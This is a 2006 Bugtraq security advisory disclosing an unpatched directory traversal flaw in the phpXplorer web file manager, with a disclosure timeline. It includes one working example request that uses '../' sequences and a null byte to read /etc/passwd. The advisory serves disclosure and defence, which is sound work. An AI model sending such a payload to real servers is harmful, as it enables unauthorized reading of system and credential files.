bugtraq - Directory traversal in phpXplorer

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Date: Mon, 16 Jan 2006 11:10:32 +0100
From: Oriol Torrent <oriol.torrent@...il.com>
To: bugtraq@...urityfocus.com
Subject: Directory traversal in phpXplorer


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Title: Directory traversal in phpXplorer

Application: phpXplorer
Vendor: http://www.phpxplorer.org
Vulnerable Versions: 0.9.33
Bug: directory traversal
Date: 16-January-2006
Author: Oriol Torrent Santiago < oriol.torrent.AT.gmail.com >

References:
http://www.arrelnet.com/advisories/adv20060116.html

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1) Background
   -----------
  phpXplorer is an open source file management system written in PHP.
  It enables you to work on a remote file system through a web browser.
 
 
2) Problem description
   --------------------
   An attacker can read arbitrary files outside the web root by sending
   specially formed requests

  Ex:
  
http://host/phpXplorer/system/workspaces.php?sShare=../../../../../../../../etc/passwd%00&ref=1


3) Solution:
   ----------
   No Patch available.
 

4) Timeline
   ---------
   17/12/2005 Bug discovered
   20/12/2005 Vendor receives detailed advisory. No response
   04/01/2006 Second notification. No response
   16/01/2006 Public Disclosure